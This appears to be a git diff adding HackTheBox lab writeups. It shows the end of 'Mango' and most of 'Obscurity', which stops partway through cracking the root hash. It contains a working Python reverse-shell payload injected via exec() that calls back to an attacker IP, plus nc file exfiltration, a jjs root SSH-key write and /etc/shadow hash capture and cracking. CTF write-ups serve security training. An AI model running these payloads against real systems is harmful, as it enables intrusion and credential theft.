15% IP address for ens33: 10.10.10.162 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 122 packages can be updated. + 18 updates are security updates. + + + Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138 + mango@mango:~$ id + uid=1000(mango) gid=1000(mango) groups=1000(mango) + + +We are now logged in as the user mango, but we also have other credentials for the admin user, so let's try them: + + + mango@mango:~$ su - admin + Password: + $ id + uid=4000000000(admin) gid=1001(admin) groups=1001(admin) + $ bash + To run a command as administrator (user "root"), use "sudo ". + See "man sudo_root" for details. + + admin@mango:/home/admin$ ls + user.txt + admin@mango:/home/admin$ cat user.txt + 0aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get to the admin user on the box and print the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc on this box we're going to use linpeas.sh to enumerate it: + + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/mango] + → cp /home/nothing/HTB/Traverxec/linpeas.sh . + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/mango] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + admin@mango:/home/admin$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-22 09:49:08-- http://10.10.14.11:9090/linpeas.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[======================================================================================================================================================>] 333.85K 175KB/s in 1.9s + + 2021-06-22 09:49:11 (175 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + admin@mango:/home/admin$ chmod +x /tmp/peas.sh + admin@mango:/home/admin$ /tmp/peas.sh + + +` ![](prg/50_009.png) + +Let it run and then scrolling through the output we stumble upon **/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs** + +![](prg/50_010.png) + +For that we can take a look at [gtfobins:](https://gtfobins.github.io/gtfobins/jjs/#file-write) + +![](prg/50_011.png) + +So here we have our template exploit bashscript: + + + echo 'var FileWriter = Java.type("java.io.FileWriter"); + var fw=new FileWriter("./file_to_write"); + fw.write("DATA"); + fw.close();' | jjs + + + +we're going to modify it to place a public ssh key into /root/.ssh/authorized_keys + + + echo 'var FileWriter = Java.type("java.io.FileWriter"); + var fw=new FileWriter("/root/.ssh/authorized_keys"); + fw.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere"); + fw.close();' | jjs + + + +download the exploit onto the box: + + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/mango] + → cat exploit.sh + #!/bin/bash + echo 'var FileWriter = Java.type("java.io.FileWriter"); + var fw=new FileWriter("/root/.ssh/authorized_keys"); + fw.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere"); + fw.close();' | jjs + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/mango] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + + + admin@mango:/home/admin$ wget http://10.10.14.11:9090/exploit.sh -O /tmp/exploit.sh + --2021-06-22 09:59:06-- http://10.10.14.11:9090/exploit.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 250 [text/x-sh] + Saving to: ‘/tmp/exploit.sh’ + + /tmp/exploit.sh 100%[===========================================================================================================================================>] 250 --.-KB/s in 0s + + 2021-06-22 09:59:07 (22.7 MB/s) - ‘/tmp/exploit.sh’ saved [250/250] + + admin@mango:/home/admin$ chmod +x /tmp/exploit.sh + admin@mango:/home/admin$ /tmp/exploit.sh + Warning: The jjs tool is planned to be removed from a future JDK release + jjs> var FileWriter = Java.type("java.io.FileWriter"); + jjs> var fw=new FileWriter("/root/.ssh/authorized_keys"); + jjs> fw.write("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere"); + jjs> fw.close(); + jjs> admin@mango:/home/admin$ + + +now login as root: + + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/mango] + → ssh root@10.10.10.162 -i ~/.ssh/mainpc + Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Tue Jun 22 09:59:46 UTC 2021 + + System load: 0.0 Processes: 112 + Usage of /: 26.0% of 19.56GB Users logged in: 1 + Memory usage: 10% IP address for ens33: 10.10.10.162 + Swap usage: 5% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 122 packages can be updated. + 18 updates are security updates. + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Thu Oct 10 08:33:27 2019 + root@mango:~# cat /root/root.txt + 70XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/50_graph.png) + diff --git a/Medium/51.md b/Medium/51.md new file mode 100644 index 0000000..75b76bf --- /dev/null +++ b/Medium/51.md @@ -0,0 +1,847 @@ +# Obscurity Writeup + +![](img/51.png) + +## Introduction : + +Obscurity is a Medium linux box that was released back in november 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/23 ] [~/HTB/obscurity] + → nmap -vvv -p- 10.10.10.168 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 8080/tcp on 10.10.10.168 + Discovered open port 22/tcp on 10.10.10.168 + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/obscurity] + → nmap -sCV -p 22,8080 10.10.10.168 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-22 17:22 CEST + Nmap scan report for 10.10.10.168 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) + | 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) + |_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) + 8080/tcp open http-proxy BadHTTPServer + | fingerprint-strings: + | GetRequest: + | HTTP/1.1 200 OK + | Date: Tue, 22 Jun 2021 15:30:19 + | Server: BadHTTPServer + | Last-Modified: Tue, 22 Jun 2021 15:30:19 + | Content-Length: 4171 + | Content-Type: text/html + | Connection: Closed + | !DOCTYPE html> + | html lang="en"> + | head> + | meta charset="utf-8"> + | title>0bscura + | meta http-equiv="X-UA-Compatible" content="IE=Edge"> + | meta name="viewport" content="width=device-width, initial-scale=1"> + | meta name="keywords" content=""> + | meta name="description" content=""> + | !-- + | Easy Profile Template + | http://www.templatemo.com/tm-467-easy-profile + | !-- stylesheet css --> + | link rel="stylesheet" href="css/bootstrap.min.css"> + | link rel="stylesheet" href="css/font-awesome.min.css"> + | link rel="stylesheet" href="css/templatemo-blue.css"> + | /head> + | body data-spy="scroll" data-target=".navbar-collapse"> + | !-- preloader section --> + | !-- + | div class="preloader"> + | div class="sk-spinner sk-spinner-wordpress"> + | HTTPOptions: + | HTTP/1.1 200 OK + | Date: Tue, 22 Jun 2021 15:30:22 + | Server: BadHTTPServer + | Last-Modified: Tue, 22 Jun 2021 15:30:22 + | Content-Length: 4171 + | Content-Type: text/html + | Connection: Closed + | !DOCTYPE html> + | html lang="en"> + | head> + | meta charset="utf-8"> + | title>0bscura + | meta http-equiv="X-UA-Compatible" content="IE=Edge"> + | meta name="viewport" content="width=device-width, initial-scale=1"> + | meta name="keywords" content=""> + | meta name="description" content=""> + | !-- + | Easy Profile Template + | http://www.templatemo.com/tm-467-easy-profile + | !-- stylesheet css --> + | link rel="stylesheet" href="css/bootstrap.min.css"> + | link rel="stylesheet" href="css/font-awesome.min.css"> + | link rel="stylesheet" href="css/templatemo-blue.css"> + | /head> + | body data-spy="scroll" data-target=".navbar-collapse"> + | !-- preloader section --> + | !-- + | div class="preloader"> + |_ div class="sk-spinner sk-spinner-wordpress"> + |_http-server-header: BadHTTPServer + |_http-title: 0bscura + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port8080-TCP:V=7.91%I=7%D=6/22%Time=60D20029%P=x86_64-pc-linux-gnu%r(Ge + SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Tue,\x2022\x20Jun\x2020 + SF:21\x2015:30:19\nServer:\x20BadHTTPServer\nLast-Modified:\x20Tue,\x2022\ + SF:x20Jun\x202021\x2015:30:19\nContent-Length:\x204171\nContent-Type:\x20t + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 52.21 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 8080 which seems to be a 'BadHTTPServer' with a bunch of weird leaks, we can assume that this is a non-standard web server, so let's first check out what it has: + +![](prg/51_001.png) + +First we see the **obscure.htb** domain and the **secure** username. And at the end of it we see that there is a python script called **SuperSecureServer.py** in some secret development directory. Maybe it is accessible from the webserver so let's try to find it: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/obscurity] + → ffuf -c -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py + + /'___\ /'___\ /'___\ + /\ \__/ /\ \__/ __ __ /\ \__/ + \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ + \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ + \ \_\ \ \_\ \ \____/ \ \_\ + \/_/ \/_/ \/___/ \/_/ + + v1.3.1 Kali Exclusive + ________________________________________________ + + :: Method : GET + :: URL : http://10.10.10.168:8080/FUZZ/SuperSecureServer.py + :: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt + :: Follow redirects : false + :: Calibration : false + :: Timeout : 10 + :: Threads : 40 + :: Matcher : Response status: 200,204,301,302,307,401,403,405 + ________________________________________________ + + develop [Status: 200, Size: 5892, Words: 1806, Lines: 171] + [WARN] Caught keyboard interrupt (Ctrl-C) + + + +Looks like SuperSecureServer.py is in the **/develop/** directory so let's download it: + + + [ 10.66.66.2/32 ] [ /dev/pts/3 ] [~/HTB/obscurity] + → curl http://10.10.10.168:8080/develop/SuperSecureServer.py + import socket + import threading + from datetime import datetime + import sys + import os + import mimetypes + import urllib.parse + import subprocess + + respTemplate = """HTTP/1.1 {statusNum} {statusCode} + Date: {dateSent} + Server: {server} + Last-Modified: {modified} + Content-Length: {length} + Content-Type: {contentType} + Connection: {connectionType} + + {body} + """ + DOC_ROOT = "DocRoot" + + CODES = {"200": "OK", + "304": "NOT MODIFIED", + "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", + "500": "INTERNAL SERVER ERROR"} + + MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", + "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", + "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"} + + + + +We download it locally to inspect it further: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/obscurity] + → wget http://10.10.10.168:8080/develop/SuperSecureServer.py + --2021-06-23 09:37:50-- http://10.10.10.168:8080/develop/SuperSecureServer.py + Connecting to 10.10.10.168:8080... connected. + HTTP request sent, awaiting response... 200 OK + Length: 5892 (5.8K) [text/plain] + Saving to: ‘SuperSecureServer.py’ + + SuperSecureServer.py 100%[======================================================================================================================================================>] 5.75K 6.15KB/s in 0.9s + + 2021-06-23 09:37:52 (6.15 KB/s) - ‘SuperSecureServer.py’ saved [5892/5892] + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/obscurity] + → vim SuperSecureServer.py + + +` ![](prg/51_002.png) + + + path = urllib.parse.unquote(path) + info = "output = 'Document: {}'" # Keep the output for later debug + exec(info.format(path)) # This is how you do string formatting, right? + + + +Basically here we see that the **exec()** is being used and it takes some parts of the URL as arguements, therefore it is injectable. We're going to try to inject it with a python reverse shell payload: + + + /';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + + + +So the full URL looks like this: + + + http://10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' + + + +This is a python themed box so let's write a python script to send a GET request to that URL: + + + [terminal1] + [ 10.66.66.2/32 ] [ /dev/pts/18 ] [~/HTB/obscurity] + → vim req_revshell.py + + import requests + import os + + host = "http://10.10.10.168:8080/" + + #payload ="/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" + #use burpsuite to url encode it (right click, URL encode all characters) + payload="/%27%3b%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%31%31%22%2c%39%30%30%31%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27" + + requests.get(host+payload) + + + :wq + + [terminal2] + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/obscurity] + → python3 req_revshell.py + + [terminal3] + [ 10.66.66.2/32 ] [ /dev/pts/17 ] [~/HTB/obscurity] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.168] 58408 + + $ id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + + +Now that we have a reverse shell let's upgrade it to a fully interactive TTY: + + + $ which python python3 wget curl + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + $ python3 -c 'import pty;pty.spawn("/bin/bash")' + www-data@obscure:/$ ^Z + [1] + 1889680 suspended nc -lvnp 9001 + + [ 10.66.66.2/32 ] [ /dev/pts/17 ] [~/HTB/obscurity] + → stty raw -echo ; fg + [1] + 1889680 continued nc -lvnp 9001 + export TERM=screen-256color + www-data@obscure:/$ export SHELL=bash + www-data@obscure:/$ stty rows 40 columns 200 + www-data@obscure:/$ reset + + +And now with this we have a fully interactive TTY shell: + + + www-data@obscure:/$ ls -lash /home + total 12K + 4.0K drwxr-xr-x 3 root root 4.0K Sep 24 2019 . + 4.0K drwxr-xr-x 24 root root 4.0K Oct 3 2019 .. + 4.0K drwxr-xr-x 7 robert robert 4.0K Dec 2 2019 robert + www-data@obscure:/$ ls -lash /home/robert + total 60K + 4.0K drwxr-xr-x 7 robert robert 4.0K Dec 2 2019 . + 4.0K drwxr-xr-x 3 root root 4.0K Sep 24 2019 .. + 0 lrwxrwxrwx 1 robert robert 9 Sep 28 2019 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout + 4.0K -rw-r--r-- 1 robert robert 3.7K Apr 4 2018 .bashrc + 4.0K drwxr-xr-x 2 root root 4.0K Dec 2 2019 BetterSSH + 4.0K drwx------ 2 robert robert 4.0K Oct 3 2019 .cache + 4.0K -rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt + 4.0K drwxr-x--- 3 robert robert 4.0K Dec 2 2019 .config + 4.0K drwx------ 3 robert robert 4.0K Oct 3 2019 .gnupg + 4.0K drwxrwxr-x 3 robert robert 4.0K Oct 3 2019 .local + 4.0K -rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt + 4.0K -rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt + 4.0K -rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile + 4.0K -rwxrwxr-x 1 robert robert 2.5K Oct 4 2019 SuperSecureCrypt.py + 4.0K -rwx------ 1 robert robert 33 Sep 25 2019 user.txt + + +Now we know that we need to pivot to the robert user. We need 3 files: + + + www-data@obscure:/home/robert$ ls -lash SuperSecureCrypt.py out.txt check.txt + 4.0K -rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt + 4.0K -rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt + 4.0K -rwxrwxr-x 1 robert robert 2.5K Oct 4 2019 SuperSecureCrypt.py + + www-data@obscure:/home/robert$ md5sum SuperSecureCrypt.py out.txt check.txt + 3c2b0c8126d8b0fbd043c6a2c270f7ab SuperSecureCrypt.py + 7c8230e2429e85d94a8c5604e726c013 out.txt + efeb69264c227272d9d3efcf8f58ed9f check.txt + + + +Let's transfer them one by one onto our box + + + www-data@obscure:/home/robert$ which nc + /bin/nc + + www-data@obscure:/home/robert$ cat check.txt | nc 10.10.14.11 9090 + + www-data@obscure:/home/robert$ cat SuperSecureCrypt.py | nc 10.10.14.11 9090 + + www-data@obscure:/home/robert$ cat out.txt | nc 10.10.14.11 9090 + + +And we recieve them like so: + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → nc -lvnp 9090 > check.txt + listening on [any] 9090 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.168] 45662 + ^C + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → nc -lvnp 9090 > SuperSecureCrypt.py + listening on [any] 9090 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.168] 45666 + ^C + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → nc -lvnp 9090 > out.txt + listening on [any] 9090 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.168] 45672 + ^C + + + +We verify if they are the same files by looking at their md5sum hashes: + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → md5sum SuperSecureCrypt.py out.txt check.txt + 3c2b0c8126d8b0fbd043c6a2c270f7ab SuperSecureCrypt.py + 7c8230e2429e85d94a8c5604e726c013 out.txt + efeb69264c227272d9d3efcf8f58ed9f check.txt + + + +Now we see that they have the same hashes so we successfully copied the files onto our local machine. Let's first inspect what the Crypt.py script is about: + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → cat SuperSecureCrypt.py + import sys + import argparse + + def encrypt(text, key): + keylen = len(key) + keyPos = 0 + encrypted = "" + for x in text: + keyChr = key[keyPos] + newChr = ord(x) + newChr = chr((newChr + ord(keyChr)) % 255) + encrypted += newChr + keyPos += 1 + keyPos = keyPos % keylen + return encrypted + + def decrypt(text, key): + keylen = len(key) + keyPos = 0 + decrypted = "" + for x in text: + keyChr = key[keyPos] + newChr = ord(x) + newChr = chr((newChr - ord(keyChr)) % 255) + decrypted += newChr + keyPos += 1 + keyPos = keyPos % keylen + return decrypted + + parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm') + + parser.add_argument('-i', + metavar='InFile', + type=str, + help='The file to read', + required=False) + + parser.add_argument('-o', + metavar='OutFile', + type=str, + help='Where to output the encrypted/decrypted file', + required=False) + + parser.add_argument('-k', + metavar='Key', + type=str, + help='Key to use', + required=False) + + parser.add_argument('-d', action='store_true', help='Decrypt mode') + + args = parser.parse_args() + + banner = "################################\n" + banner+= "# BEGINNING #\n" + banner+= "# SUPER SECURE ENCRYPTOR #\n" + banner+= "################################\n" + banner += " ############################\n" + banner += " # FILE MODE #\n" + banner += " ############################" + print(banner) + if args.o == None or args.k == None or args.i == None: + print("Missing args") + else: + if args.d: + print("Opening file {0}...".format(args.i)) + with open(args.i, 'r', encoding='UTF-8') as f: + data = f.read() + + print("Decrypting...") + decrypted = decrypt(data, args.k) + + print("Writing to {0}...".format(args.o)) + with open(args.o, 'w', encoding='UTF-8') as f: + f.write(decrypted) + else: + print("Opening file {0}...".format(args.i)) + with open(args.i, 'r', encoding='UTF-8') as f: + data = f.read() + + print("Encrypting...") + encrypted = encrypt(data, args.k) + + print("Writing to {0}...".format(args.o)) + with open(args.o, 'w', encoding='UTF-8') as f: + f.write(encrypted) + + +Here we basically see that the script encrypts a file and gives out the result 'out.txt' so what we need here is to find the key that has been used to encrypt the file, so we write the following python script to bruteforce the key: + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → vim decrypt.py + + from __future__ import print_function + + def decrypt(text, key): + keylen = len(key) + keyPos = 0 + decrypted = "" + for x in text: + keyChr = key[keyPos] + newChr = ord(x) + newChr = chr((newChr - ord(keyChr)) % 255) + decrypted += newChr + keyPos += 1 + keyPos = keyPos % keylen + return decrypted + + key = '' + pos = 0 + with open("out.txt", 'r', encoding='UTF-8') as f: + data = f.read() + with open("check.txt", 'r', encoding='UTF-8') as d: + ch = d.read() + for x in data: + for j in range(255): + print(key + '\n') + newChr = ord(x) + newChr = chr((newChr - j) % 255) + if ch[pos] == newChr: + key += chr(j) + pos = pos + 1 + break + + print(key) + + :wq + + + + +Running it gives us the key being **alexandrovich** So we use it to decrypt passwordreminder.txt: + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → python3 SuperSecureCrypt.py -i passwordreminder.txt -o robert_pass.txt -k alexandrovich -d + ################################ + # BEGINNING # + # SUPER SECURE ENCRYPTOR # + ################################ + ############################ + # FILE MODE # + ############################ + Opening file passwordreminder.txt... + Decrypting... + Writing to robert_pass.txt... + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [~/HTB/obscurity] + → cat robert_pass.txt + SecThruObsFTW + + + +And we get a password! Let's try to login as the robert user via SSH: + + + [ 10.66.66.2/32 ] [ /dev/pts/20 ] [~/HTB/obscurity] + → ssh robert@10.10.10.168 + The authenticity of host '10.10.10.168 (10.10.10.168)' can't be established. + ECDSA key fingerprint is SHA256:H6t3x5IXxyijmFEZ2NVZbIZHWZJZ0d1IDDj3OnABJDw. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.168' (ECDSA) to the list of known hosts. + robert@10.10.10.168's password: + Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Wed Jun 23 08:47:33 UTC 2021 + + System load: 0.0 Processes: 107 + Usage of /: 45.9% of 9.78GB Users logged in: 0 + Memory usage: 10% IP address for ens160: 10.10.10.168 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 40 packages can be updated. + 0 updates are security updates. + + + Last login: Mon Dec 2 10:23:36 2019 from 10.10.14.4 + robert@obscure:~$ cat user.txt + e4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We have been able to login as the robert user and get the user flag. + +## **Part 3 : Getting Root Access** + +Let's enumerate the box using linpeas.sh: + + + [terminal1] + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/obscurity] + → cp /home/nothing/HTB/mango/linpeas.sh . + + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/obscurity] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal2] + robert@obscure:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-23 08:51:42-- http://10.10.14.11:9090/linpeas.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[===========================================================================================================================================================>] 333.85K 172KB/s in 1.9s + + 2021-06-23 08:51:45 (172 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + robert@obscure:~$ chmod +x /tmp/peas.sh + robert@obscure:~$ /tmp/peas.sh + + + +Let linpeas.sh run and then inspect the output: + +![](prg/51_003.png) + +Scrolling through linpeas.sh's output we see the following: + +![](prg/51_004.png) + +Let's check out what this BetterSSH python script is about: + + + robert@obscure:~/BetterSSH$ ls + BetterSSH.py + + robert@obscure:~/BetterSSH$ cat BetterSSH.py + import sys + import random, string + import os + import time + import crypt + import traceback + import subprocess + + path = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + session = {"user": "", "authenticated": 0} + try: + session['user'] = input("Enter username: ") + passW = input("Enter password: ") + + with open('/etc/shadow', 'r') as f: + data = f.readlines() + data = [(p.split(":") if "$" in p else None) for p in data] + passwords = [] + for x in data: + if not x == None: + passwords.append(x) + + passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) + with open('/tmp/SSH/'+path, 'w') as f: + f.write(passwordFile) + time.sleep(.1) + salt = "" + realPass = "" + for p in passwords: + if p[0] == session['user']: + salt, realPass = p[1].split('$')[2:] + break + + if salt == "": + print("Invalid user") + os.remove('/tmp/SSH/'+path) + sys.exit(0) + salt = '$6$'+salt+'$' + realPass = salt + realPass + + hash = crypt.crypt(passW, salt) + + if hash == realPass: + print("Authed!") + session['authenticated'] = 1 + else: + print("Incorrect pass") + os.remove('/tmp/SSH/'+path) + sys.exit(0) + os.remove(os.path.join('/tmp/SSH/',path)) + except Exception as e: + traceback.print_exc() + sys.exit(0) + + if session['authenticated'] == 1: + while True: + command = input(session['user'] + "@Obscure$ ") + cmd = ['sudo', '-u', session['user']] + cmd.extend(command.split(" ")) + proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + o,e = proc.communicate() + print('Output: ' + o.decode('ascii')) + print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('') + + +Here we see that basically it temporarily writes the shadow file into **/tmp/SSH/**. So we can read the shadow file while the ssh login is running. The file is written after taking the password input, so the idea is to get an infinite while loop running in the background to copy the contents of **/tmp/SSH/*** into our own temporary directory at **/tmp/nihilist** and as we run the python script, we will end up with the files getting copied into our directory. + + + robert@obscure:/tmp$ while :; do cp /tmp/SSH/* /tmp/nihilist/; done 2>/dev/null & + [1] 77440 + + + +Now let's run the python script: + + + robert@obscure:/tmp$ cd ~ + + robert@obscure:~$ cd BetterSSH/ + + robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py + Enter username: nihilist + Enter password: nihilist + Invalid user + + + +Now we check /tmp/nihilist for copied files: + + + robert@obscure:~/BetterSSH$ ls -lash /tmp/nihilist/ + total 12K + 4.0K drwxrwxr-x 2 robert robert 4.0K Jun 23 09:08 . + 4.0K drwxrwxrwt 13 root root 4.0K Jun 23 09:07 .. + 4.0K -rw-r--r-- 1 robert robert 249 Jun 23 09:08 AYxs8EPU + robert@obscure:~/BetterSSH$ cat /tmp/nihilist/AYxs8EPU + root + $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1 + 18226 + 0 + 99999 + 7 + + + + + robert + $6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/ + 18163 + 0 + 99999 + 7 + + + +And we get hashes! now lets try to locally crack the root hash: + + + [ 10.66.66.2/32 ] [ /dev/pts/17 ] [~/HTB/obscurity] + → hashcat --example-hashes | grep crypt + TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) + TYPE: descrypt, DES (Unix), Traditional DES + TYPE: sha512crypt $6$, SHA512 (Unix) + + + +We're going to need to use the SHA512 hash algorithm: + + + [ 10.66.66.2/32 ] [ /dev/pts/17 ] [~/HTB/obscurity] + → hashcat -m 1800 -o rootpass.txt roothash.txt /usr/share/wordlists/rockyou.txt + hashcat (v6.1.1) starting... + + * Device #1: WARNING! Kernel exec timeout is not disabled. + This may cause 